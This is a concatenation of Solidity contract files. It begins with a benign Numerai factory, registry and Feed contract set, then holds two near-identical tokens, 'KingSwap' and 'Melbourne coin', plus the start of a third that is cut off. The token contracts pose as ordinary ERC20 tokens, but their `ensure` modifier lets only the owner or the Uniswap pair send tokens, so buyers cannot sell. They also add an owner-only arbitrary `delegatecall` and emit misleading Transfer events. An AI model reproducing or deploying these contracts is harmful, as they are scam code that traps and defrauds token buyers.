initCodeHash = keccak256(initCode);
// explicit return
return (initCode, initCodeHash);
}
/// @notice Private view function for finding the expected address of the standard
/// eip-1167 minimal proxy created using `CREATE2` with a given logic contract,
/// salt, and initialization calldata payload.
/// @param initCodeHash bytes32 The hash of initCode.
/// @param safeSalt bytes32 A safe salt. Must include the msg.sender address for front-running protection.
/// @return The address of the proxy contract with the given parameters.
function _computeTargetWithCodeHash(
bytes32 initCodeHash,
bytes32 safeSalt
) private view returns (address target) {
return address( // derive the target deployment address.
uint160( // downcast to match the address type.
uint256( // cast to uint to truncate upper digits.
keccak256( // compute CREATE2 hash using 4 inputs.
abi.encodePacked( // pack all inputs to the hash together.
bytes1(0xff), // pass in the control character.
address(this), // pass in the address of this contract.
safeSalt, // pass in the safeSalt from above.
initCodeHash // pass in hash of contract creation code.
)
)
)
)
);
}
/// @notice Private view function to validate if the `target` address is an available deployment address.
/// @param target address The address to validate.
/// @return validity bool True if the `target` is available.
function _getTargetValidity(address target) private view returns (bool validity) {
// validate no contract already deployed to the target address.
uint256 codeSize;
assembly { codeSize := extcodesize(target) }
return codeSize == 0;
}
}
/// @title iRegistry
/// @author Stephane Gosselin (@thegostep) for Numerai Inc
/// @dev Security contact: security@numer.ai
/// @dev Version: 1.2.0
interface iRegistry {
enum FactoryStatus { Unregistered, Registered, Retired }
event FactoryAdded(address owner, address factory, uint256 factoryID, bytes extraData);
event FactoryRetired(address owner, address factory, uint256 factoryID);
event InstanceRegistered(address instance, uint256 instanceIndex, address indexed creator, address indexed factory, uint256 indexed factoryID);
// factory state functions
function addFactory(address factory, bytes calldata extraData ) external;
function retireFactory(address factory) external;
// factory view functions
function getFactoryCount() external view returns (uint256 count);
function getFactoryStatus(address factory) external view returns (FactoryStatus status);
function getFactoryID(address factory) external view returns (uint16 factoryID);
function getFactoryData(address factory) external view returns (bytes memory extraData);
function getFactoryAddress(uint16 factoryID) external view returns (address factory);
function getFactory(address factory) external view returns (FactoryStatus state, uint16 factoryID, bytes memory extraData);
function getFactories() external view returns (address[] memory factories);
function getPaginatedFactories(uint256 startIndex, uint256 endIndex) external view returns (address[] memory factories);
// instance state functions
function register(address instance, address creator, uint80 extraData) external;
// instance view functions
function getInstanceType() external view returns (bytes4 instanceType);
function getInstanceCount() external view returns (uint256 count);
function getInstance(uint256 index) external view returns (address instance);
function getInstances() external view returns (address[] memory instances);
function getPaginatedInstances(uint256 startIndex, uint256 endIndex) external view returns (address[] memory instances);
}
/// @title iFactory
/// @author Stephane Gosselin (@thegostep) for Numerai Inc
/// @dev Security contact: security@numer.ai
/// @dev Version: 1.2.0
interface iFactory {
event InstanceCreated(address indexed instance, address indexed creator, bytes callData);
function create(bytes calldata callData) external returns (address instance);
function createSalty(bytes calldata callData, bytes32 salt) external returns (address instance);
function getInitSelector() external view returns (bytes4 initSelector);
function getInstanceRegistry() external view returns (address instanceRegistry);
function getTemplate() external view returns (address template);
function getSaltyInstance(address creator, bytes calldata callData, bytes32 salt) external view returns (address instance, bool validity);
function getNextNonceInstance(address creator, bytes calldata callData) external view returns (address instance);
function getInstanceCreator(address instance) external view returns (address creator);
function getInstanceType() external view returns (bytes4 instanceType);
function getInstanceCount() external view returns (uint256 count);
function getInstance(uint256 index) external view returns (address instance);
function getInstances() external view returns (address[] memory instances);
function getPaginatedInstances(uint256 startIndex, uint256 endIndex) external view returns (address[] memory instances);
}
/// @title EventMetadata
/// @author Stephane Gosselin (@thegostep) for Numerai Inc
/// @dev Security contact: security@numer.ai
/// @dev Version: 1.2.0
contract EventMetadata {
event MetadataSet(bytes metadata);
// state functions
function _setMetadata(bytes memory metadata) internal {
emit MetadataSet(metadata);
}
}
/// @title Operated
/// @author Stephane Gosselin (@thegostep) for Numerai Inc
/// @dev Security contact: security@numer.ai
/// @dev Version: 1.2.0
contract Operated {
address private _operator;
event OperatorUpdated(address operator);
// state functions
function _setOperator(address operator) internal {
// can only be called when operator is null
require(_operator == address(0), "operator already set");
// cannot set to address 0
require(operator != address(0), "cannot set operator to address 0");
// set operator in storage
_operator = operator;
// emit event
emit OperatorUpdated(operator);
}
function _transferOperator(address operator) internal {
// requires existing operator
require(_operator != address(0), "only when operator set");
// cannot set to address 0
require(operator != address(0), "cannot set operator to address 0");
// set operator in storage
_operator = operator;
// emit event
emit OperatorUpdated(operator);
}
function _renounceOperator() internal {
// requires existing operator
require(_operator != address(0), "only when operator set");
// set operator in storage
_operator = address(0);
// emit event
emit OperatorUpdated(address(0));
}
// view functions
function getOperator() public view returns (address operator) {
return _operator;
}
function isOperator(address caller) internal view returns (bool ok) {
return caller == _operator;
}
}
/// @title Template
/// @author Stephane Gosselin (@thegostep) for Numerai Inc
/// @dev Security contact: security@numer.ai
/// @dev Version: 1.2.0
contract Template {
address private _factory;
// modifiers
modifier initializeTemplate() {
// set factory
_factory = msg.sender;
// only allow function to be `DELEGATECALL`ed from within a constructor.
uint32 codeSize;
assembly { codeSize := extcodesize(address) }
require(codeSize == 0, "must be called within contract constructor");
_;
}
// view functions
function getCreator() public view returns (address creator) {
// iFactory(...) would revert if _factory address is not actually a factory contract
return iFactory(_factory).getInstanceCreator(address(this));
}
function isCreator(address caller) internal view returns (bool ok) {
return (caller == getCreator());
}
function getFactory() public view returns (address factory) {
return _factory;
}
}
/// @title ProofHashes
/// @author Stephane Gosselin (@thegostep) for Numerai Inc
/// @dev Security contact: security@numer.ai
/// @dev Version: 1.2.0
contract ProofHashes {
event HashSubmitted(bytes32 hash);
// state functions
function _submitHash(bytes32 hash) internal {
// emit event
emit HashSubmitted(hash);
}
}
/// @title Factory
/// @author Stephane Gosselin (@thegostep) for Numerai Inc
/// @dev Security contact: security@numer.ai
/// @dev Version: 1.2.0
/// @notice The factory contract implements a standard interface for creating EIP-1167 clones of a given template contract.
/// The create functions accept abi-encoded calldata used to initialize the spawned templates.
contract Factory is Spawner, iFactory {
address[] private _instances;
mapping (address => address) private _instanceCreator;
/* NOTE: The following items can be hardcoded as constant to save ~200 gas/create */
address private _templateContract;
bytes4 private _initSelector;
address private _instanceRegistry;
bytes4 private _instanceType;
event InstanceCreated(address indexed instance, address indexed creator, bytes callData);
/// @notice Constructior
/// @param instanceRegistry address of the registry where all clones are registered.
/// @param templateContract address of the template used for making clones.
/// @param instanceType bytes4 identifier for the type of the factory. This must match the type of the registry.
/// @param initSelector bytes4 selector for the template initialize function.
function _initialize(address instanceRegistry, address templateContract, bytes4 instanceType, bytes4 initSelector) internal {
// set instance registry
_instanceRegistry = instanceRegistry;
// set logic contract
_templateContract = templateContract;
// set initSelector
_initSelector = initSelector;
// validate correct instance registry
require(instanceType == iRegistry(instanceRegistry).getInstanceType(), 'incorrect instance type');
// set instanceType
_instanceType = instanceType;
}
// IFactory methods
/// @notice Create clone of the template using a nonce.
/// The nonce is unique for clones with the same initialization calldata.
/// The nonce can be used to determine the address of the clone before creation.
/// The callData must be prepended by the function selector of the template's initialize function and include all parameters.
/// @param callData bytes blob of abi-encoded calldata used to initialize the template.
/// @return instance address of the clone that was created.
function create(bytes memory callData) public returns (address instance) {
// deploy new contract: initialize it & write minimal proxy to runtime.
instance = Spawner._spawn(msg.sender, getTemplate(), callData);
_createHelper(instance, callData);
return instance;
}
/// @notice Create clone of the template using a salt.
/// The salt must be unique for clones with the same initialization calldata.
/// The salt can be used to determine the address of the clone before creation.
/// The callData must be prepended by the function selector of the template's initialize function and include all parameters.
/// @param callData bytes blob of abi-encoded calldata used to initialize the template.
/// @return instance address of the clone that was created.
function createSalty(bytes memory callData, bytes32 salt) public returns (address instance) {
// deploy new contract: initialize it & write minimal proxy to runtime.
instance = Spawner._spawnSalty(msg.sender, getTemplate(), callData, salt);
_createHelper(instance, callData);
return instance;
}
function _createHelper(address instance, bytes memory callData) private {
// add the instance to the array
_instances.push(instance);
// set instance creator
_instanceCreator[instance] = msg.sender;
// add the instance to the instance registry
iRegistry(getInstanceRegistry()).register(instance, msg.sender, uint80(0));
// emit event
emit InstanceCreated(instance, msg.sender, callData);
}
/// @notice Get the address of an instance for a given salt
function getSaltyInstance(
address creator,
bytes memory callData,
bytes32 salt
) public view returns (address instance, bool validity) {
return Spawner._getSaltyTarget(creator, getTemplate(), callData, salt);
}
function getNextNonceInstance(
address creator,
bytes memory callData
) public view returns (address target) {
return Spawner._getNextNonceTarget(creator, getTemplate(), callData);
}
function getInstanceCreator(address instance) public view returns (address creator) {
return _instanceCreator[instance];
}
function getInstanceType() public view returns (bytes4 instanceType) {
return _instanceType;
}
function getInitSelector() public view returns (bytes4 initSelector) {
return _initSelector;
}
function getInstanceRegistry() public view returns (address instanceRegistry) {
return _instanceRegistry;
}
function getTemplate() public view returns (address template) {
return _templateContract;
}
function getInstanceCount() public view returns (uint256 count) {
return _instances.length;
}
function getInstance(uint256 index) public view returns (address instance) {
require(index < _instances.length, "index out of range");
return _instances[index];
}
function getInstances() public view returns (address[] memory instances) {
return _instances;
}
// Note: startIndex is inclusive, endIndex exclusive
function getPaginatedInstances(uint256 startIndex, uint256 endIndex) public view returns (address[] memory instances) {
require(startIndex < endIndex, "startIndex must be less than endIndex");
require(endIndex <= _instances.length, "end index out of range");
// initialize fixed size memory array
address[] memory range = new address[](endIndex - startIndex);
// Populate array with addresses in range
for (uint256 i = startIndex; i < endIndex; i++) {
range[i - startIndex] = _instances[i];
}
// return array of addresses
return range;
}
}
/// @title Feed
/// @author Stephane Gosselin (@thegostep) for Numerai Inc
/// @dev Security contact: security@numer.ai
/// @dev Version: 1.2.0
contract Feed is ProofHashes, Operated, EventMetadata, Template {
event Initialized(address operator, bytes32 proofHash, bytes metadata);
/// @notice Constructor
/// @dev Access Control: only factory
/// State Machine: before all
/// @param operator Address of the operator that overrides access control
/// @param proofHash Proofhash (bytes32) sha256 hash of timestampled data
/// @param metadata Data (any format) to emit as event on initialization
function initialize(
address operator,
bytes32 proofHash,
bytes memory metadata
) public initializeTemplate() {
// set operator
if (operator != address(0)) {
Operated._setOperator(operator);
}
// submit proofHash
if (proofHash != bytes32(0)) {
ProofHashes._submitHash(proofHash);
}
// set metadata
if (metadata.length != 0) {
EventMetadata._setMetadata(metadata);
}
// log initialization params
emit Initialized(operator, proofHash, metadata);
}
// state functions
/// @notice Submit proofhash to add to feed
/// @dev Access Control: creator OR operator
/// State Machine: anytime
/// @param proofHash Proofhash (bytes32) sha256 hash of timestampled data
function submitHash(bytes32 proofHash) public {
// only operator or creator
require(Template.isCreator(msg.sender) || Operated.isOperator(msg.sender), "only operator or creator");
// submit proofHash
ProofHashes._submitHash(proofHash);
}
/// @notice Emit metadata event
/// @dev Access Control: creator OR operator
/// State Machine: anytime
/// @param metadata Data (any format) to emit as event
function setMetadata(bytes memory metadata) public {
// only operator or creator
require(Template.isCreator(msg.sender) || Operated.isOperator(msg.sender), "only operator or creator");
// set metadata
EventMetadata._setMetadata(metadata);
}
/// @notice Called by the operator to transfer control to new operator
/// @dev Access Control: operator
/// State Machine: anytime
/// @param operator Address of the new operator
function transferOperator(address operator) public {
// restrict access
require(Operated.isOperator(msg.sender), "only operator");
// transfer operator
Operated._transferOperator(operator);
}
/// @notice Called by the operator to renounce control
/// @dev Access Control: operator
/// State Machine: anytime
function renounceOperator() public {
// restrict access
require(Operated.isOperator(msg.sender), "only operator");
// renounce operator
Operated._renounceOperator();
}
}
/// @title Feed_Factory
/// @author Stephane Gosselin (@thegostep) for Numerai Inc
/// @dev Security contact: security@numer.ai
/// @dev Version: 1.2.0
/// @notice This factory is used to deploy instances of the template contract.
/// New instances can be created with the following functions:
/// `function create(bytes calldata initData) external returns (address instance);`
/// `function createSalty(bytes calldata initData, bytes32 salt) external returns (address instance);`
/// The `initData` parameter is ABI encoded calldata to use on the initialize function of the instance after creation.
/// The optional `salt` parameter can be used to deterministically generate the instance address instead of using a nonce.
/// See documentation of the template for additional details on initialization parameters.
/// The template contract address can be optained with the following function:
/// `function getTemplate() external view returns (address template);`
contract Feed_Factory is Factory {
constructor(address instanceRegistry, address templateContract) public {
Feed template;
// set instance type
bytes4 instanceType = bytes4(keccak256(bytes('Post')));
// set initSelector
bytes4 initSelector = template.initialize.selector;
// initialize factory params
Factory._initialize(instanceRegistry, templateContract, instanceType, initSelector);
}
}
|
DC1
|
pragma solidity ^0.5.17;
/*
KingSwap
*/
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract KingSwap {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
pragma solidity ^0.5.17;
/*
Melbourne coin
*/
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract Melbournecoin {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
pragma solidity ^0.5.17;
/*
Walker coin
*/
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
